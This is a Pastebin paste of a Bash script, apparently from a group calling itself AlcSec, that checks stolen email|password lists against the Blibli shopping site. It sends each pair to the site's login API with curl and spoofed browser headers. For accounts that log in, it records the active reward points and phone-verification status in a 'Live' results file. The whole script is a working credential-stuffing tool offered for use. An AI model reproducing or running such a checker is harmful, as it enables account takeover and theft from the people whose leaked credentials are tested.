HenryGlazt

bli

Jul 12th, 2018
398
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.53 KB | None | 0 0
  1. #!/bin/bash
  2. # Asking user whenever the
  3. # parameter is blank or null
  4.   # Print available file on
  5.   # current folder
  6.   # clear
  7.   read -p "Show Directory Tree(Y/n): " show
  8.   if [[ ${show,,} == 'y' ]]; then
  9.   echo ""
  10.   tree
  11.   echo ""
  12.   fi
  13.   read -p "Enter mailist file: " inputFile
  14.   if [[ ! $inputFile ]]; then
  15.   printf "$YELLOW Please input the file \n"
  16.   exit
  17.   fi
  18.   if [ ! -e $inputFile ]; then
  19.   printf "$YELLOW File not found \n"
  20.   exit
  21.   fi
  22.  
  23.   if [[ $targetFolder == '' ]]; then
  24.   read -p "Enter target folder: " targetFolder
  25.   # Check if result folder exists
  26.   # then create if it didn't
  27.   if [[ ! $targetFolder ]]; then
  28.   echo "Creating Hasil/ folder"
  29.     mkdir Hasil
  30.     targetFolder="Hasil"
  31.   fi
  32.   if [[ ! -d "$targetFolder" ]]; then
  33.     echo "Creating $targetFolder/ folder"
  34.     mkdir $targetFolder
  35.   else
  36.     read -p "$targetFolder/ folder exists, append to them?(Y/n): " isAppend
  37.     if [[ $isAppend == 'n' ]]; then
  38.     printf "$YELLOW == Thanks For Using AlcSec == \n"
  39.       exit
  40.     fi
  41.   fi
  42. else
  43.   if [[ ! -d "$targetFolder" ]]; then
  44.     echo "Creating $targetFolder/ folder"
  45.     mkdir $targetFolder
  46.   fi
  47. fi
  48. totalLines=`grep -c "@" $inputFile`
  49. con=1
  50. printf "$CYAN=================================\n"
  51. printf "$YELLOW       CHECKING PROCESS\n"
  52. printf "$CYAN=================================\n"
  53. check(){
  54. header="`date +%H:%M:%S`"
  55. login=$(curl -s --cookie-jar cookies.txt 'https://www.blibli.com//backend/common/users/_login' -H 'origin: https://www.blibli.com' -H 'accept-encoding: gzip, deflate, br' -H 'accept-language: en-US,en;q=0.9' -H 'user-agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36' -H 'content-type: application/json;charset=UTF-8' -H 'accept: application/json, text/plain, */*' -H 'referer: https://www.blibli.com/' -H 'authority: www.blibli.com'  -H 'x-ts-ajax-request: true' --data-binary '{"username":"'$1'","password":"'$2'"}' --compressed);
  56. point=$(curl -b cookies.txt -s 'https://www.blibli.com/backend/member/rewards' -H 'accept-language: en-US,en;q=0.9' -H 'user-agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36' -H 'accept: application/json, text/plain, */*' -H 'cache-control: no-cache' -H 'authority: www.blibli.com' -H 'x-requested-with: XMLHttpRequest' -H 'referer: https://www.blibli.com/member/poin-rewards')
  57. if [[ $login = *"UNAUTHORIZED"* ]]; then
  58.   printf "$RED [ DIE ] $ORANGE[$header] $PUR[ ./Alchmst] \n";
  59.   echo "[DIE] $1|$2 - $login" >> $3/ResultBliBliDie.tmp
  60. elif [[ $login = *'"code":200,"status":"OK"'* ]]; then
  61.   active=$(echo "$point" | grep -Po '(?<="totalActivePoint":)[^,]*');
  62.   verif=$(echo "$login" | grep -Po '(?<="needVerifiedPhoneNumber":)[^,]*');
  63.   printf "$GRN [ Active Point: $active ] [ VerifPhone: $verif ] $ORANGE[$header] $PUR[ ./Alchmst] \n";
  64.   echo "[LIVE] $1|$2 - [ Active Point: $active ] [ VerifPhone: $verif ]">> $3/ResultBliBliLive.tmp
  65. else
  66.   echo $login;
  67.   echo "[UNKNOWN] $1|$2 - $login">> $3/ResultBliBliUnknown.tmp
  68. fi
  69. }
  70. SECONDS=0
  71. for mailpass in $(cat $inputFile); do
  72.     email=$(echo $mailpass | cut -d "|" -f 1)
  73.     pass=$(echo $mailpass | cut -d "|" -f 2)
  74.     jmail=${#email}
  75.     jpass=${#pass}
  76.     indexer=$((con++))
  77.     printf "$CYAN $totalLines/$indexer $NC $email|$pass - "
  78.     check $email $pass $targetFolder
  79. done
  80. duration=$SECONDS
  81. printf "$YELLOW $(($duration / 3600)) hours $(($duration / 60)) minutes and $(($duration % 60)) seconds elapsed. \n"
  82. printf "$YELLOW=============== AlcSec - AlchaDecode =============== \n"
Advertisement
Comments
  • User was banned
Add Comment
Please, Sign In to add comment